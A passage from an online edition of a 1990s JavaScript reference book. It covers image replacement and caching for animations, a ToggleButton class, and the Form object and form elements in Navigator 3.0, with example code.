    visitordata.color = prompt("What is your favorite color:", "");
}
// Keep track of how many times this user has visited the page:
if (visitordata.visits == null) visitordata.visits = 0;
visitordata.visits++;
// Store the cookie values, even if they were already stored, so that the
// expiration date will be reset to 10 days from this most recent visit.
// Also, store them again to save the updated visits state variable.
visitordata.store();
// Now we can use the state variables we read:
document.write('<FONT SIZE=7 COLOR="' + visitordata.color + '">' +
               'Welcome, ' + visitordata.name + '!' +
               '</FONT>' +
               '<P>You have visited ' + visitordata.visits + ' times.');
</SCRIPT>
<FORM>
<INPUT TYPE="button" VALUE="Forget My Name" onClick="visitordata.remove();">
</FORM>

Previous | Home | Next
Cookie Limitations | Book Index | Special Effects with Images
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 16] Special Effects with Images

JavaScript: The Definitive Guide

Previous Chapter 16 Next

16. Special Effects with Images

Contents:
Image Replacement with the Image.src Property
Off-Screen Images and Caching
Image Event Handlers
Other Image Properties
Image Replacement Example
Other Image Techniques

In Navigator 3.0, the images[] property of the Document object is an array of Image elements, each one representing one of the inline images, created with an <IMG> tag, that is contained in the document. While web browsers have always been able to display images with the <IMG> tag, the addition of the Image object in Navigator 3.0 is a major step forward--it allows programs to dynamically manipulate those images.

16.1 Image Replacement with the Image.src Property

The main feature of the Image object is that its src property is read/write. You can read this property to obtain the URL from which an image was loaded. And more importantly, you can set the src property to make the browser load and display a new image in the same space. In order for this to work, the new image must have the same width and height as the original one.

The ability to dynamically replace one image in a static HTML document with another image opens the door to any number of special effects, from animation, to images that change when clicked on, to "digital clocks" that update themselves in real time. With a bit of thought, you can probably imagine many more potential uses for this technique. In order to make the image replacement technique viable, and in order to make animations and other special effects responsive enough to be useful, we need some way to ensure that the necessary images are loaded into the browser's cache.

Previous | Home | Next
Cookie Example | Book Index | Off-Screen Images and Caching
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 16] 16.2 Off-Screen Images and Caching

JavaScript: The Definitive Guide

Previous Chapter 16
Special Effects with Images 		Next

16.2 Off-Screen Images and Caching

To force an image to be cached, we create an off-screen image and load the desired image into it. Then, when the image is required on-screen, we know it will be quickly loaded from the cache rather than slowly loaded over the network. Example 16.1 shows code that performs a simple animation using this technique.

Example 16.1: An Animation Using Image Replacement

<!-- The image that will be animated. Give it a name for convenience -->
<IMG SRC="images/0.gif" NAME=animation>
<SCRIPT>
// Create a bunch of off-screen images, and get them started
// loading the images we're going to animate.
images = new Array(10);
for(var i = 0; i < 10; i++) {
    images[i] = new Image();                 // Create an Image object
    images[i].src = "images/" + i + ".gif";  // tell it what URL to load
}
// Later, when we want to perform our animation, we can use these URLs,
// knowing that they've been loaded into the cache. Note that we perform
// the animation by assigning the URL, not the Image object itself.
// Also note that we call the image by name, rather than as document.images[0].
function animate()
{
    document.animation.src = images[frame].src;
    frame = (frame + 1)%10;
    timeout_id = setTimeout("animate()", 250);  // display next frame later
}
var frame = 0;         // Keep track of what frame of the animation we're on.
var timeout_id = null; // This allows us to stop the animation.
</SCRIPT>
<FORM>                   <!-- Buttons to control the animation -->
  <INPUT TYPE=button VALUE="Start"
         onClick="if (timeout_id == null) animate()">
  <INPUT TYPE=button VALUE="Stop"
         onClick="if (timeout_id) clearTimeout(timeout_id); timeout_id=null;">
</FORM>

Example 16.1 demonstrates the important steps involved in creating an off-screen image for image caching. The first step is to create an Image object with the Image() constructor. The second step is to assign the URL of the desired image to the src property of the newly created Image object. Doing so will cause the browser to start loading the contents of the specified URL, which, unless caching is turned off, will cause the image to be loaded into the cache, even though it is not displayed anywhere.

A confusing detail about the use of off-screen Image objects is that they are not themselves directly used for anything. To perform image replacement with an off-screen Image object, you do not assign the Image object directly into the images[] array of the Document object. Instead, you simply set the src property of the desired on-screen image to the URL of the desired image. If this URL has previously been loaded by an off-screen image, then the the desired image should be in the cache and the on-screen image replacement will happen quickly. The off-screen image object is used to force the image to be loaded, but there isn't anything else that you can do with it.

Previous | Home | Next
Image Replacement with the Image.src Property | Book Index | Image Event Handlers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 16] 16.3 Image Event Handlers

JavaScript: The Definitive Guide

Previous Chapter 16
Special Effects with Images 		Next

16.3 Image Event Handlers

In Example 16.1, our animation does not begin until the user clicks the Start button, which allows plenty of time for our images to be loaded into the cache. But what about the more common case in which we want to automatically begin an animation as soon as all the necessary images are loaded? It turns out that images, whether created on screen with an <IMG> tag or off screen with the Image() constructor, have an onLoad() event handler that is invoked when the image is fully loaded. Example 16.2 is an update to the previous example which shows how we could automatically start the animation as soon as the images are loaded.

Example 16.2: An Animation Using the onLoad() Event Handler

<!-- The image that will be animated. Give it a name for convenience. -->
<IMG SRC="images/0.gif" NAME=animation>
<SCRIPT>
// Count how many images have been loaded. When we reach 10, start animating.
function count_images() {  if (++num_loaded_images == 10) animate(); }
var num_loaded_images = 0;
// Create the off-screen images and assign the image URLs.
// Also assign an event handler so we can count how many images have been
// loaded. Note that we assign the handler before the URL, because otherwise
// the image might finish loading (e.g., if it is already cached) before
// we assign the handler, and then we'll lose count of how many have loaded!
images = new Array(10);
for(var i = 0; i < 10; i++) {
    images[i] = new Image();                 // Create an Image object
    images[i].onload = count_images;         // assign the event handler
    images[i].src = "images/" + i + ".gif";  // tell it what URL to load
}
function animate()  // The function that does the animation.
{
    document.animation.src = images[frame].src;
    frame = (frame + 1)%10;
    timeout_id = setTimeout("animate()", 250);  // display next frame later
}
var frame = 0;         // Keep track of what frame of the animation we're on.
var timeout_id = null; // This allows us to stop the animation.
</SCRIPT>
<!-- Buttons to control the animation. Note that we don't let the user
  -- start the animation before all the images are loaded. -->
<FORM>
  <INPUT TYPE=button VALUE="Start"
         onClick="if (timeout_id==null && num_loaded_images==10) animate()">
  <INPUT TYPE=button VALUE="Stop"
         onClick="if (timeout_id) clearTimeout(timeout_id); timeout_id=null;">
</FORM>

In addition to the onLoad() event handler, the Image object also supports two others. The onError() event handler is invoked when an error occurs during image loading, such as when the specified URL refers to a corrupt image data. The onAbort() handler is invoked if the user aborts the image load (for example, by clicking the Stop button in the browser) before it has finished. For any image, one (and only one) of these handlers will be called. In addition to these handlers, each Image object also has a complete property. This property is false while the image is loading, and is true once the image has loaded or once the browser has stopped trying to load it. That is, the complete property becomes true once one of the three possible event handlers is invoked.

Previous | Home | Next
Off-Screen Images and Caching | Book Index | Other Image Properties
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 16] 16.4 Other Image Properties

JavaScript: The Definitive Guide

Previous Chapter 16
Special Effects with Images 		Next

16.4 Other Image Properties

The Image object has a few other properties as well. Most of them are read-only properties that simply mirror attributes of the <IMG> tag that created the image. The width, height, border, hspace, and vspace properties are read-only integers that specify the size of the image, the width of its border, and the size of its horizontal and vertical margins. These properties are set by the attributes of the IMG tag which share their names.

Finally, the lowsrc property of the Image object mirrors the LOWSRC attribute of the IMG tag. It specifies the URL of an optional image to display when the page is viewed on a low-resolution device. The lowsrc property is a read/write string, like src is, but unlike the src property, setting lowsrc does not cause the browser to load and display the newly-specified low-res image. If you want to perform an animation, or some other special effect, that works with low-resolution images as well as high-resolution, then always remember to update the lowsrc property before you set the src property. If the browser is running on a low-resolution device when you set the src literal, it will load the new lowsrc image instead.

Previous | Home | Next
Image Event Handlers | Book Index | Image Replacement Example
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 16] 16.5 Image Replacement Example

JavaScript: The Definitive Guide

Previous Chapter 16
Special Effects with Images 		Next

16.5 Image Replacement Example

Because image replacement is such a versatile technique we will end our discussion of the Image object with an extended example. Example 16.3 defines a ToggleButton class that uses image replacement to simulate a graphical checkbox. Because this class uses images that we provide, we can use bolder graphics than those plain-old graphics used by the standard HTML Checkbox object. Figure 16.1 shows how these toggle button graphics could appear on a web page. This is a complex, real-world example, and is worth studying carefully.

Figure 16.1: ToggleButtons implemented with image replacement

[Graphic: Figure 16-1]

Example 16.3: Implementing a ToggleButton with Image Replacement

<SCRIPT LANGUAGE="JavaScript1.1">
// This is the constructor function for our new ToggleButton class.
// Calling it creates a ToggleButton object and outputs the required
// <A> and <IMG> tags into the specified document at the current location.
// Therefore, don't call it for the current document from an event handler.
// Arguments:
//    document: the Document object the buttons will be created in.
//    checked:  a Boolean that says whether the button is initially checked.
//    label:    an optional string that specifies text to appear after the button.
//    onclick:  an optional function to be called when the toggle button is
//              clicked. It will be passed a Boolean indicating the new
//              state of the button. You can also pass a string, which will
//              be converted to a function which is passed a Boolean argument
//              named "state".
function ToggleButton(document, checked, label, onclick)
{
    // first time called, document will be false. Ignore this call.
    if (document == null) return;
    // The first time we are called (and only the first time) we have
    // to do some special stuff. First, now that the prototype object
    // is created, we can set up our methods.
    // Second, we've got to load the images that we'll be using.
    // Doing this will get the images in the cache for when we need them.
    if (!ToggleButton.prototype.over) {
        // Initialize the prototype object to create our methods.
        ToggleButton.prototype.over = _ToggleButton_over;
        ToggleButton.prototype.out = _ToggleButton_out;
        ToggleButton.prototype.click = _ToggleButton_click;
        // Now create an array of image objects, and assign URLs to them.
        // The URLs of the images are configurable, and are stored in an
        // array property of this constructor function itself. They will be
        // initialized below. Because of a bug in Navigator, we've got
        // to maintain references to these images, so we store the array
        // in a property of the constructor rather than using a local variable.
        ToggleButton.images = new Array(4);
        for(var i = 0; i < 4; i++) {
            ToggleButton.images[i] = new Image(ToggleButton.width,
                                               ToggleButton.height);
            ToggleButton.images[i].src = ToggleButton.imagenames[i];
        }
    }

    // Save some of the arguments we were passed.
    this.document = document;
    this.checked = checked;
    // Remember that the mouse is not currently on top of us.
    this.highlighted = false;
    // Save the onclick argument to be called when the button is clicked.
    // If it is not already a function, attempt to convert it
    // to a function that is passed a single argument, named state.
    this.onclick = onclick;
    if (typeof this.onclick == "string")
        this.onclick = new Function("state", this.onclick);
    // Figure out what entry in the document.images[] array the images
    // for this checkbox will be stored at.
    var index = document.images.length;
    // Now output the HTML code for this checkbox. Use <A> and <IMG> tags.
    // The event handlers we output here are confusing, but crucial to the
    // operation of this class. The "_tb" property is defined below, as
    // are the over(), out(), and click() methods.
    document.write('&nbsp;<A HREF ="" ' +
      'onMouseOver="document.images[' + index + ']._tb.over();return true;" '+
      'onMouseOut="document.images[' + index + ']._tb.out()" '+
      'onClick="document.images[' + index + ']._tb.click(); return false;">');
    document.write('<IMG SRC="' + ToggleButton.imagenames[this.checked+0] +'"'+
                   ' WIDTH=' + ToggleButton.width +
                   ' HEIGHT=' + ToggleButton.height +
                   ' BORDER=0 HSPACE=0 VSPACE=0 ALIGN="absmiddle">');
    if (label) document.write(label);
    document.write('</A>');
    // Now that we've output the <IMG> tag, save a reference to the
    // Image object that it created in the ToggleButton object.
    this.image = document.images[index];
    // And also make a link in the other direction: from the Image object
    // to this ToggleButton object. Do this by defining a "_tb" property
    // in the Image object.
    this.image._tb = this;
}
// This becomes the over() method.
function _ToggleButton_over()
{
    // Change the image, and remember that we're highlighted.
    this.image.src = ToggleButton.imagenames[this.checked + 2];
    this.highlighted = true;
}
// This becomes the out() method.
function _ToggleButton_out()
{
    // Change the image, and remember that we're not highlighted.
    this.image.src = ToggleButton.imagenames[this.checked + 0];
    this.highlighted = false;
}
// This becomes the click() method.
function _ToggleButton_click()
{
    // Toggle the state of the button, change the image, and call the
    // onclick method, if it was specified for this ToggleButton.
    this.checked = !this.checked;
    this.image.src = ToggleButton.imagenames[this.checked+this.highlighted*2];
    if (this.onclick) this.onclick(this.checked);
}
// Initialize static class properties that describe the checkbox images. These
// are just defaults. Programs can override them by assigning new values.
// But the should only be overridden *before* any ToggleButtons are created.
ToggleButton.imagenames = new Array(4);            // create an array
ToggleButton.imagenames[0] = "togglebutton0.gif";  // the unchecked box
ToggleButton.imagenames[1] = "togglebutton1.gif";  // the box with a check mark
ToggleButton.imagenames[2] = "togglebutton2.gif";  // unchecked but highlighted
ToggleButton.imagenames[3] = "togglebutton3.gif";  // checked and highlighted
ToggleButton.width = ToggleButton.height = 25;     // size of all images
</SCRIPT>
<!-- Here's how we might use the ToggleButton class. -->
Optional extras:<BR>
<SCRIPT LANGUAGE="JavaScript1.1">
// Create the buttons
var tb1 = new ToggleButton(document, true, "28.8K Modem<BR>");
var tb2 = new ToggleButton(document, false, "Laser Printer<BR>");
var tb3 = new ToggleButton(document, false, "Tape Backup Unit<BR>");
</SCRIPT>
<!-- Here's how we can use the ToggleButton objects from event handlers. -->
<FORM>
<INPUT TYPE="button" VALUE="Report Button States"
       onClick="alert(tb1.checked + '\n' + tb2.checked + '\n' + tb3.checked)">
<INPUT TYPE="button" VALUE="Reset Buttons"
       onClick="if (tb1.checked) tb1.click();
                if (tb2.checked) tb2.click();
                if (tb3.checked) tb3.click();">
</FORM>

Previous | Home | Next
Other Image Properties | Book Index | Other Image Techniques
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 16] 16.6 Other Image Techniques

JavaScript: The Definitive Guide

Previous Chapter 16
Special Effects with Images 		Next

16.6 Other Image Techniques

There are some other techniques for programming with images besides those that use the Image object discussed here. We saw one, the dynamic generation of XBM images, in Chapter 14, Documents and Their Contents. There is another technique that can be useful when dynamically generating documents (in another window or frame) that contain images. Bear in mind that if the image you supply does not match the WIDTH and HEIGHT specified in the <IMG> tag, the browser will stretch the image as necessary. This can be useful, for example if you want to use an image as a graphical horizontal rule: you can supply an image that is only one pixel wide (that will thus load quickly), and rely on the browser to stretch it horizontally for you to any desired length.

Similarly, when you want to include rectangles of a solid color in a document, you can use an image that is just one pixel by one pixel in size, and stretch it to any desired dimensions. This technique can be used, for example, to dynamically generate bar charts and histograms in documents by using JavaScript to dynamically generate IMG tags that stretch a given image to the appropriate sizes.

You can play a related trick (that does not involve JavaScript) with the background image for a document (specified by the BACKGROUND attribute of the <BODY> tag). The browser uses this image as a tile to fill the entire background. Suppose you want your documents to have a vertical bar or border along their left edge. If you create a narrow borderless vertical frame in the window, then you can specify a background image that has the desired width and is only a few pixels tall. The browser will fill the frame with repeating copies of this image, which will produce the vertical bar you're looking for.

Previous | Home | Next
Image Replacement Example | Book Index | Forms and Form Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 17] Forms and Form Elements

JavaScript: The Definitive Guide

Previous Chapter 17 Next

17. Forms and Form Elements

Contents:
Forms in CGI and JavaScript
The Form Object
Form Elements
Form Element Names and Values
Naming Forms and Form Elements
Form Verification Example

As we've seen in examples throughout this book, the use of HTML forms is basic to almost all web programs, whether implemented with CGI, JavaScript, or a combination of the two. This chapter explains the details of programming with forms in JavaScript. It is assumed that you already are at least somewhat familiar with the creation of HTML forms and with the input elements that they contain. If not, you may want to refer to a good book on HTML.[1] In addition, the reference section of this book lists the HTML syntax as well as JavaScript syntax for forms and form elements; you may find these listings helpful as well.

[1] Such as HTML: The Definitive Guide, by Chuck Musciano and Bill Kennedy, published by O'Reilly & Associates.

17.1 Forms in CGI and JavaScript

If you are already familiar with CGI programming using HTML forms, you may find that things are done somewhat differently when forms are used with JavaScript. In the CGI model, a form, and the input data it contains is "submitted"--sent to the web server--all at once. The emphasis is on processing a complete "batch" of input data and dynamically producing a new web page in response. With JavaScript, the programming model is quite different. In JavaScript programs, the emphasis is not on form submission and processing but instead on event handling. Forms and the input elements they contain each have event handlers that JavaScript can use to respond to user interactions with a form. If the user clicks on a checkbox, for example, a JavaScript program can receive notification through an event handler, and might respond by changing the value displayed in some other element of the form.

With CGI programs, an HTML form can't be useful unless it has a Submit button (or unless it has only a single text input field and allows the user to strike the Return key as a shortcut for submission). With JavaScript, on the other hand, a Submit button is never necessary (unless the JavaScript program is working with a cooperating CGI program, of course). With JavaScript, your forms can have any number of push-buttons with event handlers that perform any number of actions when clicked. In previous chapters, we've seen some of the possible actions that such a button can trigger: replacing one image with another, using the location property to load and display a new web page, opening a new browser window, or dynamically generating a new HTML document in another window or frame. As we'll see later in this section, a JavaScript event handler can even trigger a form to be submitted.

As we've seen in examples throughout this book, event handlers are almost always the central element of any interesting JavaScript program. And the most commonly used event handlers (excluding the event handlers of the Link object) are used with forms or form elements. The following subsections introduce the JavaScript Form object, and the various JavaScript objects that represent form elements. The section concludes with an example that illustrates how you can use JavaScript to validate user input on the client before submitting it to a CGI program running on the web server.

Previous | Home | Next
Other Image Techniques | Book Index | The Form Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 17] 17.2 The Form Object

JavaScript: The Definitive Guide

Previous Chapter 17
Forms and Form Elements 		Next

17.2 The Form Object

The JavaScript Form object represents an HTML form. Forms are always found as elements of the forms[] array, which is a property of the Document object. Forms appear in this array in the order that they appear within the document. Thus, document.forms[0] refers to the first form in a document, and you can refer to the last form in an document with:

document.forms[document.forms.length]

The most interesting property of the Form object is the elements[] array, which contains JavaScript objects (of various types) that represent the various input elements of the form. Again, elements appear in this array in the order that they appear in the document. So document.forms[1].elements[2] refers to the third element of the second form in the document of the current window.

The remaining properties of the Form object are of less importance. They are action, encoding, method, and target, and they correspond directly to the ACTION, ENCODING, METHOD, and TARGET attributes of the <FORM> tag. These properties and attributes are all used to control how form data is submitted to the web server, and where the results are displayed, and they are therefore only useful when the form actually will be submitted to a CGI script. See the reference section for an explanation of the properties, or see a book on HTML or CGI programming[2] for a thorough discussion of the attributes. What is worth noting here is that these Form properties are all read/write strings in Navigator 2.0 and 3.0, so a JavaScript program can dynamically set their values in order to change the way the form is submitted. Unfortunately, while you can set the value of these properties in Internet Explorer 3.0, any values you set will be ignored.

[2] Such as CGI Programming on the World Wide Web, by Shishir Gundavaram, published by O'Reilly & Associates.

In the days before JavaScript, forms were submitted with a special-purpose Submit button, and the form elements had their values reset with a special-purpose Reset button. The JavaScript Form object, however, supports two methods, submit() and (in Navigator 3.0) reset(), which serve this same purpose. Invoking the submit() method of a Form submits the form, exactly as if the user had clicked on a Submit button, and invoking reset() resets the form elements, exactly as if the user had clicked on a Reset button.

To accompany the submit() and reset() methods, the Form object provides the onSubmit() event handler to detect form submission, and (in Navigator 3.0) the onReset() event handler to detect form resets. The onSubmit() handler is invoked just before the form is submitted, and can cancel the submission by returning false. This provides an opportunity for a JavaScript program to check the user's input for errors to avoid submitting incomplete or invalid data over the network to a CGI program. We'll see an example of doing this at the end of this section.

The onReset() event handler is similar to the onSubmit() handler. It is invoked just before the form is reset, and may prevent the form elements from being reset by returning false. This allows a JavaScript program to ask for confirmation of the reset, which can be a good idea when the form is long or detailed. You might request this sort of confirmation with an event handler like the following (recall that onReset() requires Navigator 3.0):

<FORM...
     onReset="return confirm('Really erase ALL data and start over?')"
>

Previous | Home | Next
Forms in CGI and JavaScript | Book Index | Form Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 17] 17.3 Form Elements

JavaScript: The Definitive Guide

Previous Chapter 17
Forms and Form Elements 		Next

17.3 Form Elements

As noted above, every Form object has an elements[] property, which is an array of the JavaScript objects that represent the input elements contained in the form. There are quite a few possible HTML form elements and corresponding JavaScript objects. They are listed in Table 17.1 and pictured in Figure 17.1. The HTML (and JavaScript) code that generated that figure is listed in Example 17.1. For comparison, Figure 17.2 shows the same form elements, as they appear in a different operating system. You can find out more about these JavaScript objects in the reference section of this book, but you may want to refer to an HTML book for complete details on the HTML tags and attributes used to create these form elements.

Table 17.1: HTML Form Elements
Object | HTML Tag | type Property | Description and Events
Button | <INPUT TYPE=button> | "button" | A push-button; onClick().
Checkbox | <INPUT TYPE=checkbox> | "checkbox" | A toggle-button without radio-button behavior; onClick().
FileUpload | <INPUT TYPE=file> | "file" | An input field for entering the name of a file to upload to the web server; onChange().
Hidden | <INPUT TYPE=hidden> | "hidden" | Data submitted with the form but not visible to the user; no event handlers.
Option | <OPTION> | none | A single item within a Select object; event handlers are on Select object, not individual Option objects.
Password | <INPUT TYPE=password> | "password" | An input field for password entry--typed characters are not visible; onChange().
Radio | <INPUT TYPE=radio> | "radio" | A toggle-button with radio behavior--only one selected at a time; onClick().
Reset | <INPUT TYPE=reset> | "reset" | A push-button that resets a form; onClick().
Select | <SELECT> | "select-one" | A list or drop-down menu from which one item may be selected; onChange(). See also Option object.
Select | <SELECT MULTIPLE> | "select-multiple" | A list from which multiple items may be selected; onChange(). See also Option object.
Submit | <INPUT TYPE=submit> | "submit" | A push-button that submits a form; onClick().
Text | <INPUT TYPE=text> | "text" | A single-line text entry field; onChange().
Textarea | <TEXTAREA> | "textarea" | A multiline text entry field; onChange().

Figure 17.1: All the form elements, Windows 95

[Graphic: Figure 17-1]

Figure 17.2: All the form elements, Unix (X/Motif)

[Graphic: Figure 17-2]

Example 17.1: An HTML Form Containing All Form Elements

<FORM NAME="everything">  <!-- A one-of-everything HTML form... -->
 <TABLE BORDER CELLPADDING=5>   <!-- ...in a big HTML table. -->
   <TR>
     <TD>Username:<BR>[1]<INPUT TYPE=text NAME="username" SIZE=15></TD>
     <TD>Password:<BR>[2]<INPUT TYPE=password NAME="password" SIZE=15></TD>
     <TD ROWSPAN=4>Input Events[3]<BR>
       <TEXTAREA NAME="textarea" ROWS=20 COLS=28></TEXTAREA></TD>
     <TD ROWSPAN=4 ALIGN=center VALIGN=center>
       [9]<INPUT TYPE=button VALUE="Clear" NAME="clearbutton"><BR>
       [10]<INPUT TYPE=submit NAME="submitbutton" VALUE="Submit"><BR>
       [11]<INPUT TYPE=reset NAME="resetbutton" VALUE="Reset"></TD></TR>
   <TR>
     <TD COLSPAN=2>Filename: [4]<INPUT TYPE=file NAME="file" SIZE=15></TD></TR>
   <TR>
     <TD>My Computer Peripherals:<BR>
       [5]<INPUT TYPE=checkbox NAME="peripherals" VALUE="modem">28.8K Modem<BR>
       [5]<INPUT TYPE=checkbox NAME="peripherals" VALUE="printer">Printer<BR>
       [5]<INPUT TYPE=checkbox NAME="peripherals" VALUE="tape">Tape Backup</TD>
     <TD>My Web Browser:<BR>
       [6]<INPUT TYPE=radio NAME="browser" VALUE="nn">Netscape Navigator<BR>
       [6]<INPUT TYPE=radio NAME="browser" VALUE="ie">Internet Explorer<BR>
       [6]<INPUT TYPE=radio NAME="browser" VALUE="other">Other</TD></TR>
   <TR>
     <TD>My Hobbies:[7]<BR>
       <SELECT multiple NAME="hobbies" SIZE=4>
         <OPTION VALUE="programming">Hacking JavaScript
         <OPTION VALUE="surfing">Surfing the Web
         <OPTION VALUE="caffeine">Drinking Coffee
         <OPTION VALUE="annoying">Annoying my Friends
       </SELECT></TD>
     <TD align=center valign=center>My Favorite Color:<BR>[8]
       <SELECT NAME="color">
         <OPTION VALUE="red">Red        <OPTION VALUE="green">Green
         <OPTION VALUE="blue">Blue      <OPTION VALUE="white">White
         <OPTION VALUE="violet">Violet  <OPTION VALUE="peach">Peach
       </SELECT></TD></TR>
 </TABLE>
</FORM>
<DIV ALIGN=center>        <!-- Another table--the key to the one above. -->
  <TABLE BORDER=4 BGCOLOR=pink CELLSPACING=1 CELLPADDING=4>
    <TR>
      <TD ALIGN=center><B>Form Elements</B></TD>
      <TD>[1] Text</TD>  <TD>[2] Password</TD>  <TD>[3] Textarea</TD>
      <TD>[4] FileUpload</TD> <TD>[5] Checkbox</TD></TR>
    <TR>
      <TD>[6] Radio</TD>  <TD>[7] Select (list)</TD>
      <TD>[8] Select (menu)</TD>  <TD>[9] Button</TD>
      <TD>[10] Submit</TD>  <TD>[11] Reset</TD></TR>
  </TABLE>
</DIV>
<SCRIPT LANGUAGE="JavaScript1.1">
// This generic function appends details of an event to the big Textarea
// element in the form above. It will be called from various event handlers.
function report(element, event)
{
    var t = element.form.textarea;
    var name = element.name;
    if ((element.type == "select-one") || (element.type == "select-multiple")){
        value = " ";
        for(var i = 0; i < element.options.length; i++)
            if (element.options[i].selected)
                value += element.options[i].value + " ";
    }
    else if (element.type == "textarea") value = "...";
    else value = element.value;
    var msg = event + ": " + name + ' (' + value + ')\n';
    t.value = t.value + msg;
}
// This function adds a bunch of event handlers to every element in a form.
// It doesn't bother checking to see if the element supports the event handler,
// it just adds them all. Note that the event handlers call report() above.
function addhandlers(f)
{
    for(var i = 0; i < f.elements.length; i++) {
        var e = f.elements[i];
        e.onclick = new Function("report(this, 'Click')");
        e.onchange = new Function("report(this, 'Change')");
        e.onfocus = new Function("report(this, 'Focus')");
        e.onblur = new Function("report(this, 'Blur')");
        e.onselect = new Function("report(this, 'Select')");
    }
    // Special case handlers for the buttons:
    f.clearbutton.onclick =
        new Function("this.form.textarea.value=''; report(this, 'Click');");
    f.submitbutton.onclick =
        new Function("report(this, 'Click'); return false");
    f.resetbutton.onclick =
        new Function("this.form.reset(); report(this, 'Click'); return false");
}
// Activate our form by adding all possible event handlers!
addhandlers(document.everything);
</SCRIPT>

While specific details about the JavaScript form element objects can be found on their respective reference pages, there are some features that all form element objects share. One obvious similarity is that (almost) all form element objects define event handlers that are invoked when the user interacts with them. The important ones are usually called onClick() or onChange(), depending on the type of object. The event handlers supported by each form element are listed in the fourth column of Table 17.1.

In addition to the event handlers shown in the table, all form elements (except the Hidden element) in Navigator 3.0 also support the onBlur() and onFocus() event handlers, which are invoked when the elements lose or gain the keyboard input focus, respectively. Unfortunately, on Unix platforms, these event handlers only work correctly for those form elements that involve text entry: Text, Textarea, Password and FileUpload. In addition to the onBlur() and onFocus() event handlers, all form elements in Navigator 3.0 also have corresponding blur() and focus() methods that remove input focus from an element and restore it. Again, on UNIX platforms, these methods have no effect except on the text-input form elements.

Another similarity between form element objects is that, in Navigator 3.0, all of them have a type property that identifies what type of element they are. The third column of Table 17.1 specifies the value of this property for each object. Because the elements[] array of the Form object contains various types of form element objects, the type property allows you to loop through the elements[] array and operate on the form objects it contains in ways that depending on their type. We'll see this done in Example 17.2, later in the chapter. Note that Internet Explorer 3.0 does not support the type property.

All form element objects also have (in both Navigator 3.0 and Navigator 2.0) a form property. This is simply a reference to the Form object that contains the element. This property provides a useful way for form objects to refer to other form objects from their event handlers. Within a form element event handler, the this keyword refers to the element object itself. This means that this.form always refers to the containing form. And therefore, any event handler in a form can refer to sibling objects in the same form with expressions like this:

this.form.elements[4]

Previous | Home | Next
The Form Object | Book Index | Form Element Names and Values
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 17] 17.4 Form Element Names and Values

JavaScript: The Definitive Guide

Previous Chapter 17
Forms and Form Elements 		Next

17.4 Form Element Names and Values

Two other properties shared by all form element objects are name and value. When a form is submitted, the user's input data is passed to the web server in the form of name/value pairs, and these properties specify the name under which each element's data is submitted and the value that is submitted for that element. The name property is a read-only string; its value is specified by the NAME attribute of the HTML tag that defined the form element. This NAME attribute is optional, but data from an element cannot be submitted unless it is specified. In the next subsection, we'll see another use of the NAME attribute.

The value property is similar to the name property. This property is a read/write string for all form element objects, and it contains the data that is transferred over the network when the form is submitted. The initial value of the value property is, logically enough, usually specified by the VALUE attribute of the HTML tag that defined the form element. For some objects, however, the initial value is specified in some other way.

The value property contains a string value for all form elements. Because of the automatic data conversion performed by Navigator, you can assign a value or object of any type to the value property and it will automatically be converted to a string. Unfortunately, a limitation in Internet Explorer 3.0 does not allow objects to be assigned to the value property. In order to do this you must explicitly convert the object to a string; you cannot rely on automatic conversion as you can with Navigator. Thus, if you wanted to display the current date and time in an input field of a form, the following code would not work in IE 3.0:

today = new Date();
document.myform.date.value = today;
The easiest way to explicitly convert the today object to a string is to add it to the empty string, so the following code would work in IE 3.0:

today = new Date();
document.myform.date.value = "" + today;

Not all uses of the value property are obvious at the first glance. For Text and TextArea objects, the value property is simply the string contained in the input field. Setting the value property of these objects changes the text that those input fields display. For Button, Reset, and Submit objects, however, the value property contains is the text that is displayed by the push-button. Although the property is read/write, changing it will not change the text that appears in the button (at least not on all platforms). Also, the value of Button and Reset objects is never actually submitted with the form that contains them. (The value of a Submit object is submitted only when that Submit object was the one that caused the form to be submitted--this allows a CGI script to determine how the form was submitted in cases where there is more than one way to do so.)

The value property for Checkbox and Radio objects is also a little bit tricky. Since these objects represent toggle buttons in an HTML form, you might expect their value property to indicate the state of the button--i.e., to be a Boolean value that indicates whether the toggle button is checked or not. In fact, though, it is the checked property of these objects that indicates what state they are in. The value property, as always, is the string value that is submitted with the form if the Checkbox or Radio object is checked when the form is submitted. It should be set to some string that is meaningful to the CGI script that will receive the form submission.

The Select object is another unusual case. It displays a list or drop-down menu of options and allows the user to select one or more of them. These options are not specified by the <SELECT> tag, but by a separate <OPTION> tag, so it turns out that the Select object actually has no value property, and is an exception to the rule above that all form element objects have a property by this name. Since the VALUE attribute belongs to the <OPTION> tag, the value property belongs to the Option object. Now, you might expect that, like the Text and Button objects, the value property of the Option object would specify the text that is displayed to the user in the list or drop-down menu. In fact, though, this is not how it is done. The text displayed for an Option is meant to be a verbose, human-readable string, and this is not ideal for processing by a CGI script. The text property of the Option object specifies the string that the user sees, and the value property specifies the (usually terser) string submitted if the option is selected when the form is submitted.

The Select and Option objects

While we are discussing the Select and Option objects, it should be noted that these differ in a number of ways form other form element objects. First, note that the Option object is not itself a form element--it is an object contained by a Select object. The Select object is the only form element object that contains other objects. They are contained in its options[] array, so you may end up referring to individual Option objects with very long expressions like the following:

document.forms[0].elements[1].options[2]

